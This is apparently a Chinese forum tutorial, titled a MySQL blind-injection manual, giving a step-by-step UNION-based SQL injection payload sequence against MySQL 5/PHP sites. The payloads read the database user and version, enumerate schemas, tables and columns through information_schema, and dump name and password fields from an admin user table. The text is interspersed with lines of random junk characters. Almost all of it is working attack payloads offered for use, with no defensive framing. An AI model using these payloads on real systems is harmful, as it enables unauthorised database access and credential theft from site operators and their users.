mysql盲注手册

admin

教程内容:Mysql 5+php 注入
* |5 h' ~4 Z9 k% g' i
$ M; V2 W; D& J6 U0 T- u5 J7 w
$ x- T* Q6 u6 i0 M/ ^
一.查看MYSQL基本信息(库名,版本,用户)
: s  t' q; E5 F/ T$ E& X0 ^
% ?* `) b9 a3 N3 Pand 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

二.查数据库
2 z  |% G" @% p- x2 Z
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

1 W4 U  ^. h% ~2 I* v6 D, G三.暴表

5 R. {3 J8 k5 nand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
  J$ \* B$ _% O7 \. W: a
2 S0 _+ X2 l; mlimit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。

四.暴字段
) `" U4 {. s+ d# o# N
) X- [; Y. l, S3 A, Band 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
7 Q5 H4 ?4 C. N
1 [0 D  Z3 z* D% Z( ylimit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
  t* |! X. g1 B0 ~( g( Z
: ]6 b- y, o2 z8 w/ u) T五.暴数据
8 a8 y4 y  F1 S/ b! n
' J- _! K4 ~' [1 Eand 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*

' [- ~+ P9 E' J& G" o7 _
9 ?# g# h0 h- n+ g  O0 A& o9 a这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
! ?* {" l1 j4 T* x) o